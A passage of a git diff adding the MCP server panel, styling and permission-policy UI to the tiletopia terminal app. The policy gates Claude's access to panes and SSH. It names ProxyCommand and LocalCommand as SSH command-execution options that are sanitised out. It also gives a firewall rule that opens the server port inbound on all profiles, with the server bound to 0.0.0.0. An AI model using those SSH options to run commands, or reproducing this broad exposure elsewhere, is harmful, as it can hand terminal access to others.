||||
.policy-bucket--deny { border-color: #3a2020; }
|
||||
.policy-bucket--ask { border-color: #3a3020; }
|
||||
.policy-bucket--allow { border-color: #1a2a1a; }
|
||||
|
||||
.policy-bucket-header {
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.07em;
|
||||
color: #888;
|
||||
padding-bottom: 4px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
}
|
||||
.policy-bucket--deny .policy-bucket-header { color: #c06060; }
|
||||
.policy-bucket--ask .policy-bucket-header { color: #c09040; }
|
||||
.policy-bucket--allow .policy-bucket-header { color: #60a060; }
|
||||
|
||||
.policy-rule-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 3px;
|
||||
min-height: 24px;
|
||||
}
|
||||
|
||||
.policy-rule-empty {
|
||||
color: #555;
|
||||
font-size: 11px;
|
||||
padding: 2px 0;
|
||||
}
|
||||
|
||||
.policy-rule {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.policy-rule-text {
|
||||
flex: 1 1 auto;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
color: #ccc;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.policy-rule-remove {
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: #666;
|
||||
font-size: 14px;
|
||||
line-height: 1;
|
||||
padding: 0 3px;
|
||||
cursor: pointer;
|
||||
border-radius: 2px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.policy-rule-remove:hover { color: #e06060; background: #2a1a1a; }
|
||||
|
||||
.policy-add-row {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.policy-add-input {
|
||||
flex: 1 1 auto;
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
color: #ddd;
|
||||
background: #0c0c0c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 3px 6px;
|
||||
outline: none;
|
||||
min-width: 0;
|
||||
}
|
||||
.policy-add-input:focus { border-color: #4488cc; }
|
||||
|
||||
.policy-add-btn {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
background: #222;
|
||||
color: #aac;
|
||||
border: 1px solid #2a2a3a;
|
||||
border-radius: 3px;
|
||||
padding: 0 8px;
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.policy-add-btn:hover:not(:disabled) { background: #2a2a3a; color: #ccd; }
|
||||
.policy-add-btn:disabled { opacity: 0.4; cursor: default; }
|
||||
|
||||
/* Hard-deny section */
|
||||
.policy-hard-deny {
|
||||
background: #0e0e0e;
|
||||
border: 1px solid #222;
|
||||
border-radius: 4px;
|
||||
padding: 10px 12px;
|
||||
}
|
||||
|
||||
.policy-hard-deny-header {
|
||||
font-size: 10px;
|
||||
font-variant: small-caps;
|
||||
letter-spacing: 0.1em;
|
||||
color: #666;
|
||||
margin-bottom: 6px;
|
||||
text-transform: lowercase;
|
||||
}
|
||||
|
||||
.policy-hard-deny-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.policy-hard-deny-rule {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.policy-hard-deny-rule code {
|
||||
font-family: inherit;
|
||||
color: #888;
|
||||
background: #0c0c0c;
|
||||
padding: 1px 5px;
|
||||
border-radius: 2px;
|
||||
border: 1px solid #1e1e1e;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.policy-hard-deny-badge {
|
||||
font-size: 9px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.06em;
|
||||
color: #555;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 1px 5px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.policy-hard-deny-footnote {
|
||||
font-size: 10px;
|
||||
font-style: italic;
|
||||
color: #555;
|
||||
margin: 8px 0 0;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
/* ---- Confirm modal ------------------------------------------------------ */
|
||||
|
||||
.mcp-confirm {
|
||||
position: fixed;
|
||||
top: 20vh;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: min(520px, 92vw);
|
||||
max-height: 60vh;
|
||||
background: #161616;
|
||||
color: #ccc;
|
||||
border: 1px solid #c09040;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.7);
|
||||
z-index: 200;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
}
|
||||
|
||||
.mcp-confirm-header {
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
background: linear-gradient(180deg, #2a2010, #161616);
|
||||
}
|
||||
.mcp-confirm-title { font-size: 13px; font-weight: 600; }
|
||||
.mcp-confirm-title code {
|
||||
color: #c09040;
|
||||
background: transparent;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.mcp-confirm-body {
|
||||
padding: 14px 16px;
|
||||
overflow-y: auto;
|
||||
font-size: 12px;
|
||||
line-height: 1.5;
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: #2a2a2a transparent;
|
||||
}
|
||||
.mcp-confirm-body::-webkit-scrollbar { width: 8px; }
|
||||
.mcp-confirm-body::-webkit-scrollbar-thumb {
|
||||
background: #2a2a2a;
|
||||
border-radius: 4px;
|
||||
border: 1px solid #1a1a1a;
|
||||
}
|
||||
|
||||
.mcp-confirm-summary { margin: 0 0 8px; color: #ddd; }
|
||||
.mcp-confirm-reason { margin: 0 0 8px; color: #888; font-size: 11px; }
|
||||
.mcp-confirm-reason em { color: #c09040; font-style: normal; }
|
||||
|
||||
.mcp-confirm-args {
|
||||
margin-top: 10px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.mcp-confirm-args summary {
|
||||
color: #888;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
padding: 2px 0;
|
||||
}
|
||||
.mcp-confirm-args summary:hover { color: #aaa; }
|
||||
.mcp-confirm-args pre {
|
||||
background: #0c0c0c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 8px;
|
||||
margin: 6px 0 0;
|
||||
color: #aaa;
|
||||
font-size: 11px;
|
||||
overflow-x: auto;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.mcp-confirm-actions {
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
gap: 8px;
|
||||
padding: 10px 14px;
|
||||
border-top: 1px solid #2a2a2a;
|
||||
background: #111;
|
||||
}
|
||||
.mcp-confirm-reject,
|
||||
.mcp-confirm-accept {
|
||||
font: inherit;
|
||||
font-size: 12px;
|
||||
padding: 5px 14px;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
border: 1px solid #2a2a3a;
|
||||
}
|
||||
.mcp-confirm-reject { background: #1a1a1a; color: #aaa; }
|
||||
.mcp-confirm-reject:hover { background: #2a1a1a; color: #e08080; border-color: #4a2020; }
|
||||
.mcp-confirm-accept { background: #1a2a1a; color: #80c080; border-color: #2a4a2a; }
|
||||
.mcp-confirm-accept:hover { background: #2a4a2a; color: #a0e0a0; }
|
||||
|
||||
.mcp-confirm-always {
|
||||
font: inherit;
|
||||
font-size: 12px;
|
||||
padding: 5px 14px;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
background: #1a1a2a;
|
||||
color: #aac;
|
||||
border: 1px solid #2a2a4a;
|
||||
margin-right: auto;
|
||||
}
|
||||
.mcp-confirm-always:hover {
|
||||
background: #2a2a4a;
|
||||
color: #ccd;
|
||||
border-color: #4488cc;
|
||||
}
|
||||
|
||||
.mcp-confirm-ssh-warn {
|
||||
background: #2a1a1a;
|
||||
border: 1px solid #a04040;
|
||||
border-radius: 4px;
|
||||
padding: 8px 10px;
|
||||
margin: 0 0 10px;
|
||||
color: #e0a0a0;
|
||||
font-size: 11px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
.mcp-confirm-ssh-warn strong { color: #ff8080; }
|
||||
.mcp-confirm-ssh-warn code {
|
||||
background: #0c0c0c;
|
||||
padding: 1px 4px;
|
||||
border-radius: 2px;
|
||||
color: #ffcccc;
|
||||
}
|
||||
.mcp-confirm-ssh-warn em { color: #ffd0a0; font-style: normal; }
|
||||
|
||||
/* ---- SSH safeguards section ------------------------------------------- */
|
||||
|
||||
.policy-ssh-safeguards {
|
||||
background: #1a1410;
|
||||
border: 1px solid #4a2a1a;
|
||||
border-radius: 4px;
|
||||
padding: 10px 12px;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
.policy-ssh-safeguards .policy-bucket-header {
|
||||
color: #d8a040;
|
||||
border-bottom-color: #3a2a1a;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.policy-toggle-row {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 8px;
|
||||
padding: 6px 0;
|
||||
cursor: pointer;
|
||||
border-top: 1px solid #2a1a10;
|
||||
}
|
||||
.policy-toggle-row:first-of-type { border-top: none; }
|
||||
.policy-toggle-row input[type="checkbox"] {
|
||||
margin-top: 3px;
|
||||
accent-color: #d8a040;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.policy-toggle-text {
|
||||
font-size: 11px;
|
||||
color: #b8a890;
|
||||
line-height: 1.45;
|
||||
}
|
||||
.policy-toggle-text strong { color: #d8a040; display: block; margin-bottom: 2px; }
|
||||
.policy-toggle-text code {
|
||||
background: #0c0c0c;
|
||||
padding: 1px 4px;
|
||||
border-radius: 2px;
|
||||
font-family: inherit;
|
||||
color: #ffcc80;
|
||||
}
|
||||
.policy-toggle-row input:disabled + .policy-toggle-text {
|
||||
opacity: 0.5;
|
||||
}
|
||||
343
src/components/McpPanel.tsx
Normal file
343
src/components/McpPanel.tsx
Normal file
|
|
@ -0,0 +1,343 @@
|
|||
import { useEffect, useState, useCallback } from "react";
|
||||
import {
|
||||
writeText as clipboardWriteText,
|
||||
} from "@tauri-apps/plugin-clipboard-manager";
|
||||
import { openUrl } from "@tauri-apps/plugin-opener";
|
||||
import type { McpStatus, McpAuditEntry } from "../ipc";
|
||||
import AuditTab from "./AuditTab";
|
||||
import PolicyTab from "./PolicyTab";
|
||||
import ErrorBoundary from "./ErrorBoundary";
|
||||
import "./McpPanel.css";
|
||||
|
||||
// URL of the GitHub-style releases page where each tagged build attaches the
|
||||
// prebuilt `.mcpb` bundle (sibling to the NSIS installer). Source bundle is
|
||||
// regeneratable via `pnpm run build:mcpb`.
|
||||
const MCPB_RELEASES_URL = "https://git.rdx4.com/megaproxy/tiletopia/releases";
|
||||
|
||||
interface McpPanelProps {
|
||||
status: McpStatus;
|
||||
onStart: () => Promise<void>;
|
||||
onStop: () => Promise<void>;
|
||||
onRegenerateToken: () => Promise<void>;
|
||||
onClose: () => void;
|
||||
/** Count of leaves with mcpAllow=true — shown so the user knows whether
|
||||
* enabling the server will actually expose anything. */
|
||||
allowedPaneCount: number;
|
||||
/** Total pane count for context. */
|
||||
totalPaneCount: number;
|
||||
/** Persistent audit log, owned by App so it survives panel close. */
|
||||
auditEntries: McpAuditEntry[];
|
||||
onClearAudit: () => void;
|
||||
}
|
||||
|
||||
type TabId = "config" | "audit" | "policy";
|
||||
|
||||
export default function McpPanel({
|
||||
status,
|
||||
onStart,
|
||||
onStop,
|
||||
onRegenerateToken,
|
||||
onClose,
|
||||
allowedPaneCount,
|
||||
totalPaneCount,
|
||||
auditEntries,
|
||||
onClearAudit,
|
||||
}: McpPanelProps) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [revealToken, setRevealToken] = useState(false);
|
||||
const [regenBusy, setRegenBusy] = useState(false);
|
||||
const [tab, setTab] = useState<TabId>("config");
|
||||
// Unread badge on Audit tab: count of entries arrived since the user last
|
||||
// visited Audit. Tracked via a baseline count, reset on switch-to-audit.
|
||||
const [auditSeenCount, setAuditSeenCount] = useState(auditEntries.length);
|
||||
const auditUnread = auditEntries.length > auditSeenCount;
|
||||
|
||||
useEffect(() => {
|
||||
function onKey(e: KeyboardEvent) {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
onClose();
|
||||
}
|
||||
}
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [onClose]);
|
||||
|
||||
const toggle = useCallback(async () => {
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
if (status.running) await onStop();
|
||||
else await onStart();
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [busy, status.running, onStart, onStop]);
|
||||
|
||||
const copy = useCallback((s: string) => {
|
||||
void clipboardWriteText(s).catch((e) =>
|
||||
console.warn("clipboard write failed:", e),
|
||||
);
|
||||
}, []);
|
||||
|
||||
const regenerate = useCallback(async () => {
|
||||
if (regenBusy) return;
|
||||
const warn = status.running
|
||||
? "Regenerate token? Existing MCP clients will be disconnected and need the new token to reconnect."
|
||||
: "Regenerate token? Any saved client config with the old token will stop working.";
|
||||
if (!window.confirm(warn)) return;
|
||||
setRegenBusy(true);
|
||||
try {
|
||||
await onRegenerateToken();
|
||||
} finally {
|
||||
setRegenBusy(false);
|
||||
}
|
||||
}, [regenBusy, status.running, onRegenerateToken]);
|
||||
|
||||
function switchTab(id: TabId) {
|
||||
setTab(id);
|
||||
if (id === "audit") setAuditSeenCount(auditEntries.length);
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<button className="backdrop" onClick={onClose} aria-label="Close" />
|
||||
<div className="mcp-panel" role="dialog" aria-label="MCP server">
|
||||
<header className="mcp-header">
|
||||
<span className="mcp-title">MCP server</span>
|
||||
<button className="mcp-close" onClick={onClose} aria-label="Close">×</button>
|
||||
</header>
|
||||
|
||||
{/* Tab bar */}
|
||||
<div className="mcp-tabs" role="tablist">
|
||||
<button
|
||||
className={`mcp-tab${tab === "config" ? " mcp-tab--active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={tab === "config"}
|
||||
onClick={() => switchTab("config")}
|
||||
>
|
||||
Config
|
||||
</button>
|
||||
<button
|
||||
className={`mcp-tab${tab === "audit" ? " mcp-tab--active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={tab === "audit"}
|
||||
onClick={() => switchTab("audit")}
|
||||
>
|
||||
Audit
|
||||
{auditUnread && <span className="mcp-tab-badge" aria-label="new entries" />}
|
||||
</button>
|
||||
<button
|
||||
className={`mcp-tab${tab === "policy" ? " mcp-tab--active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={tab === "policy"}
|
||||
onClick={() => switchTab("policy")}
|
||||
>
|
||||
Policy
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="mcp-body">
|
||||
{tab === "config" && (
|
||||
<>
|
||||
<p className="mcp-blurb">
|
||||
Lets a Claude session on the same machine inspect this workspace
|
||||
via Model Context Protocol — see which panes are running, read
|
||||
their scrollback, wait for commands to settle. Read-only in v1;
|
||||
Claude can't send keystrokes or reshape the layout yet.
|
||||
</p>
|
||||
|
||||
<div className="mcp-toggle-row">
|
||||
<button
|
||||
className={`mcp-toggle${status.running ? " on" : ""}`}
|
||||
onClick={() => { void toggle(); }}
|
||||
disabled={busy}
|
||||
>
|
||||
<span className="mcp-dot" />
|
||||
{status.running ? "Server: ON" : "Server: OFF"}
|
||||
</button>
|
||||
<span className="mcp-allow-count">
|
||||
{allowedPaneCount} of {totalPaneCount} pane
|
||||
{totalPaneCount === 1 ? "" : "s"} allow-listed
|
||||
{allowedPaneCount === 0 && status.running && (
|
||||
<span className="mcp-allow-warn">
|
||||
{" "}
|
||||
— Claude will see nothing until you toggle 🤖 on at least
|
||||
one pane.
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{status.running && status.url && status.token && (
|
||||
<>
|
||||
<div className="mcp-field">
|
||||
<label>URL</label>
|
||||
<div className="mcp-field-row">
|
||||
<input readOnly value={status.url} onFocus={(e) => e.currentTarget.select()} />
|
||||
<button onClick={() => copy(status.url!)}>Copy</button>
|
||||
</div>
|
||||
</div>
|
||||
<div className="mcp-field">
|
||||
<label>Bearer token</label>
|
||||
<div className="mcp-field-row">
|
||||
<input
|
||||
readOnly
|
||||
type={revealToken ? "text" : "password"}
|
||||
value={status.token}
|
||||
onFocus={(e) => e.currentTarget.select()}
|
||||
/>
|
||||
<button onClick={() => setRevealToken((r) => !r)}>
|
||||
{revealToken ? "Hide" : "Show"}
|
||||
</button>
|
||||
<button onClick={() => copy(status.token!)}>Copy</button>
|
||||
<button onClick={() => { void regenerate(); }} disabled={regenBusy}>
|
||||
{regenBusy ? "…" : "Regenerate"}
|
||||
</button>
|
||||
</div>
|
||||
<p className="mcp-hint">
|
||||
URL + token persist across restarts — paste the snippet
|
||||
into your Claude config once. Regenerate if the token
|
||||
leaks.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mcp-field">
|
||||
<label>Claude Desktop (one-click install)</label>
|
||||
<div className="mcp-mcpb-row">
|
||||
<button
|
||||
className="mcp-mcpb-btn"
|
||||
onClick={() => {
|
||||
void openUrl(MCPB_RELEASES_URL).catch((e) =>
|
||||
console.warn("open releases page failed:", e),
|
||||
);
|
||||
}}
|
||||
>
|
||||
Download .mcpb
|
||||
</button>
|
||||
<p className="mcp-hint mcp-mcpb-hint">
|
||||
Grab <code>tiletopia.mcpb</code> from the releases
|
||||
page, then drag it into Claude Desktop's{" "}
|
||||
<em>Settings → Extensions</em>. The bundle reads your
|
||||
bearer token from <code>%APPDATA%</code> at launch —
|
||||
zero copy-paste, and token regeneration above keeps
|
||||
working transparently. (Bundle is regeneratable from
|
||||
source via <code>pnpm run build:mcpb</code>.)
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="mcp-field">
|
||||
<label>Claude Code config snippet (.mcp.json)</label>
|
||||
<pre className="mcp-snippet">
|
||||
{`{
|
||||
"mcpServers": {
|
||||
"tiletopia": {
|
||||
"command": "npx",
|
||||
"args": [
|
||||
"-y", "mcp-remote",
|
||||
"${status.url}",
|
||||
"--allow-http",
|
||||
"--header", "Authorization: Bearer ${status.token}"
|
||||
]
|
||||
}
|
||||
}
|
||||
}`}
|
||||
</pre>
|
||||
<button
|
||||
onClick={() =>
|
||||
copy(
|
||||
JSON.stringify(
|
||||
{
|
||||
mcpServers: {
|
||||
tiletopia: {
|
||||
command: "npx",
|
||||
args: [
|
||||
"-y",
|
||||
"mcp-remote",
|
||||
status.url,
|
||||
"--allow-http",
|
||||
"--header",
|
||||
`Authorization: Bearer ${status.token}`,
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
)
|
||||
}
|
||||
>
|
||||
Copy config snippet
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="mcp-tips">
|
||||
<strong>Why the shim?</strong> Claude Code's HTTP-MCP
|
||||
client tries OAuth discovery and ignores static{" "}
|
||||
<code>headers</code> auth (Anthropic issues #17152, #46879).
|
||||
The <code>mcp-remote</code> stdio shim transparently
|
||||
proxies the HTTP endpoint with the bearer header attached,
|
||||
which sidesteps the OAuth flow entirely. Other MCP
|
||||
clients that handle bearer auth correctly can connect
|
||||
directly to the URL above with the token in an{" "}
|
||||
<code>Authorization</code> header.
|
||||
<br />
|
||||
<br />
|
||||
<strong>WSL connectivity:</strong> the URL uses{" "}
|
||||
<code>127.0.0.1</code>; a Claude session running inside
|
||||
WSL needs to either swap that for the WSL gateway IP
|
||||
(<code>ip route show default | awk '{`{print $3}`}'</code>{" "}
|
||||
inside WSL — changes after each WSL restart), or enable
|
||||
mirrored networking (<code>networkingMode=mirrored</code>{" "}
|
||||
in <code>%UserProfile%\.wslconfig</code>, Win11 22H2+)
|
||||
so <code>127.0.0.1</code> in WSL routes to this host.
|
||||
You'll likely also need to allow the port through Windows
|
||||
Defender Firewall:{" "}
|
||||
<code>
|
||||
New-NetFirewallRule -DisplayName 'tiletopia MCP'
|
||||
-Direction Inbound -Action Allow -Protocol TCP
|
||||
-LocalPort {status.url.match(/:(\d+)\//)?.[1] ?? "47821"}{" "}
|
||||
-Profile Any
|
||||
</code>{" "}
|
||||
(elevated PowerShell).
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
{!status.running && (
|
||||
<p className="mcp-off-hint">
|
||||
Server is off — no port is open. Token is generated when you
|
||||
start. Each pane needs the 🤖 chip toggled on for Claude to
|
||||
see it.
|
||||
</p>
|
||||
)}
|
||||
|
||||
<p className="mcp-security">
|
||||
<strong>Security:</strong> bound to <code>0.0.0.0</code> so WSL
|
||||
distros and other machines on your LAN can reach it; bearer
|
||||
token is the only thing keeping them out. Treat MCP access as
|
||||
equivalent to terminal access — don't share the token, don't
|
||||
run the server on an untrusted network. Saved SSH passwords are{" "}
|
||||
<em>never</em> exposed through MCP.
|
||||
</p>
|
||||
</>
|
||||
)}
|
||||
|
||||
{tab === "audit" && (
|
||||
<ErrorBoundary label="Audit tab">
|
||||
<AuditTab entries={auditEntries} onClear={onClearAudit} />
|
||||
</ErrorBoundary>
|
||||
)}
|
||||
|
||||
{tab === "policy" && (
|
||||
<ErrorBoundary label="Policy tab">
|
||||
<PolicyTab />
|
||||
</ErrorBoundary>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
254
src/components/PolicyTab.tsx
Normal file
254
src/components/PolicyTab.tsx
Normal file
|
|
@ -0,0 +1,254 @@
|
|||
import { useEffect, useState, useRef } from "react";
|
||||
import {
|
||||
mcpHardDenyLabels,
|
||||
mcpPolicyLoad,
|
||||
mcpPolicySave,
|
||||
type McpPolicy,
|
||||
} from "../ipc";
|
||||
|
||||
type Bucket = "deny" | "ask" | "allow";
|
||||
|
||||
const BUCKET_LABELS: Record<Bucket, string> = {
|
||||
deny: "Deny: blocked outright",
|
||||
ask: "Ask: confirm in a modal",
|
||||
allow: "Silently run",
|
||||
};
|
||||
|
||||
interface RuleListProps {
|
||||
bucket: Bucket;
|
||||
rules: string[];
|
||||
onRemove: (bucket: Bucket, index: number) => void;
|
||||
onAdd: (bucket: Bucket, rule: string) => void;
|
||||
}
|
||||
|
||||
function RuleList({ bucket, rules, onRemove, onAdd }: RuleListProps) {
|
||||
const [draft, setDraft] = useState("");
|
||||
const inputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
function handleAdd() {
|
||||
const trimmed = draft.trim();
|
||||
if (!trimmed) return;
|
||||
onAdd(bucket, trimmed);
|
||||
setDraft("");
|
||||
inputRef.current?.focus();
|
||||
}
|
||||
|
||||
function handleKeyDown(e: React.KeyboardEvent) {
|
||||
if (e.key === "Enter") handleAdd();
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={`policy-bucket policy-bucket--${bucket}`}>
|
||||
<div className="policy-bucket-header">{BUCKET_LABELS[bucket]}</div>
|
||||
<ul className="policy-rule-list">
|
||||
{rules.length === 0 && (
|
||||
<li className="policy-rule-empty">—</li>
|
||||
)}
|
||||
{rules.map((r, i) => (
|
||||
<li key={i} className="policy-rule">
|
||||
<code className="policy-rule-text">{r}</code>
|
||||
<button
|
||||
className="policy-rule-remove"
|
||||
onClick={() => onRemove(bucket, i)}
|
||||
aria-label={`Remove rule ${r}`}
|
||||
>
|
||||
×
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="policy-add-row">
|
||||
<input
|
||||
ref={inputRef}
|
||||
className="policy-add-input"
|
||||
value={draft}
|
||||
onChange={(e) => setDraft(e.target.value)}
|
||||
onKeyDown={handleKeyDown}
|
||||
placeholder="e.g. write_pane(git push *)"
|
||||
aria-label={`Add ${bucket} rule`}
|
||||
/>
|
||||
<button
|
||||
className="policy-add-btn"
|
||||
onClick={handleAdd}
|
||||
disabled={!draft.trim()}
|
||||
>
|
||||
Add
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function PolicyTab() {
|
||||
const [policy, setPolicy] = useState<McpPolicy | null>(null);
|
||||
const [hardDenyLabels, setHardDenyLabels] = useState<string[]>([]);
|
||||
const [dirty, setDirty] = useState(false);
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [saveError, setSaveError] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
void mcpPolicyLoad().then(setPolicy);
|
||||
void mcpHardDenyLabels().then(setHardDenyLabels);
|
||||
}, []);
|
||||
|
||||
function mutate(updater: (p: McpPolicy) => McpPolicy) {
|
||||
setPolicy((prev) => {
|
||||
if (!prev) return prev;
|
||||
const next = updater(prev);
|
||||
setDirty(true);
|
||||
return next;
|
||||
});
|
||||
}
|
||||
|
||||
function handleRemove(bucket: Bucket, index: number) {
|
||||
mutate((p) => ({
|
||||
...p,
|
||||
permissions: {
|
||||
...p.permissions,
|
||||
[bucket]: p.permissions[bucket].filter((_, i) => i !== index),
|
||||
},
|
||||
}));
|
||||
}
|
||||
|
||||
function handleAdd(bucket: Bucket, rule: string) {
|
||||
mutate((p) => ({
|
||||
...p,
|
||||
permissions: {
|
||||
...p.permissions,
|
||||
[bucket]: [...p.permissions[bucket], rule],
|
||||
},
|
||||
}));
|
||||
}
|
||||
|
||||
function setSshSafeguard(
|
||||
key: "allowOpenSsh" | "autoAllowSpawnedSsh" | "allowAddHost",
|
||||
value: boolean,
|
||||
) {
|
||||
mutate((p) => ({
|
||||
...p,
|
||||
sshSafeguards: { ...p.sshSafeguards, [key]: value },
|
||||
}));
|
||||
}
|
||||
|
||||
async function handleSave() {
|
||||
if (!policy || !dirty || saving) return;
|
||||
setSaving(true);
|
||||
setSaveError(null);
|
||||
try {
|
||||
await mcpPolicySave(policy);
|
||||
setDirty(false);
|
||||
} catch (e) {
|
||||
setSaveError(String(e));
|
||||
} finally {
|
||||
setSaving(false);
|
||||
}
|
||||
}
|
||||
|
||||
if (!policy) {
|
||||
return <p className="policy-loading">Loading policy…</p>;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="policy-tab">
|
||||
<div className="policy-toolbar">
|
||||
<p className="policy-hint">
|
||||
Empty policy = every MCP tool call asks for confirmation. Add rules
|
||||
to bypass the prompt for patterns you trust, or to block patterns
|
||||
outright.
|
||||
</p>
|
||||
<div className="policy-save-area">
|
||||
{saveError && (
|
||||
<span className="policy-save-error">{saveError}</span>
|
||||
)}
|
||||
<button
|
||||
className="policy-save-btn"
|
||||
onClick={() => { void handleSave(); }}
|
||||
disabled={!dirty || saving}
|
||||
>
|
||||
{saving ? "Saving…" : "Save"}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="policy-ssh-safeguards">
|
||||
<div className="policy-bucket-header">SSH safeguards</div>
|
||||
<label className="policy-toggle-row">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={policy.sshSafeguards.allowOpenSsh}
|
||||
onChange={(e) => setSshSafeguard("allowOpenSsh", e.target.checked)}
|
||||
/>
|
||||
<div className="policy-toggle-text">
|
||||
<strong>Allow Claude to open SSH connections.</strong> When off,
|
||||
the <code>connect_host</code> and <code>spawn_pane(kind=ssh)</code>
|
||||
{" "}tools refuse with a clear error. You can still open SSH
|
||||
sessions manually via the titlebar 🔑 picker, and Claude can
|
||||
interact with them if you toggle 🤖 on.
|
||||
</div>
|
||||
</label>
|
||||
<label className="policy-toggle-row">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={policy.sshSafeguards.autoAllowSpawnedSsh}
|
||||
onChange={(e) =>
|
||||
setSshSafeguard("autoAllowSpawnedSsh", e.target.checked)
|
||||
}
|
||||
disabled={!policy.sshSafeguards.allowOpenSsh}
|
||||
/>
|
||||
<div className="policy-toggle-text">
|
||||
<strong>Auto-grant Claude access to newly-spawned SSH panes.</strong>{" "}
|
||||
When off, an SSH pane Claude opens starts with 🤖 off — you have
|
||||
to explicitly toggle it before Claude can read scrollback or send
|
||||
keystrokes. Only meaningful when the switch above is on.
|
||||
</div>
|
||||
</label>
|
||||
<label className="policy-toggle-row">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={policy.sshSafeguards.allowAddHost}
|
||||
onChange={(e) =>
|
||||
setSshSafeguard("allowAddHost", e.target.checked)
|
||||
}
|
||||
/>
|
||||
<div className="policy-toggle-text">
|
||||
<strong>Allow Claude to save or delete SSH hosts.</strong> When
|
||||
off, the <code>add_host</code> and <code>delete_host</code> tools
|
||||
refuse with a clear error — only you manage the saved-hosts list
|
||||
via the titlebar 🔑 picker. Extra ssh args (<code>-o ...</code>)
|
||||
on saved hosts are still sanitised to reject command-execution
|
||||
primitives (<code>ProxyCommand</code>, <code>LocalCommand</code>,
|
||||
etc.) regardless of this switch.
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div className="policy-buckets">
|
||||
{(["deny", "ask", "allow"] as Bucket[]).map((bucket) => (
|
||||
<RuleList
|
||||
key={bucket}
|
||||
bucket={bucket}
|
||||
rules={policy.permissions[bucket]}
|
||||
onRemove={handleRemove}
|
||||
onAdd={handleAdd}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="policy-hard-deny">
|
||||
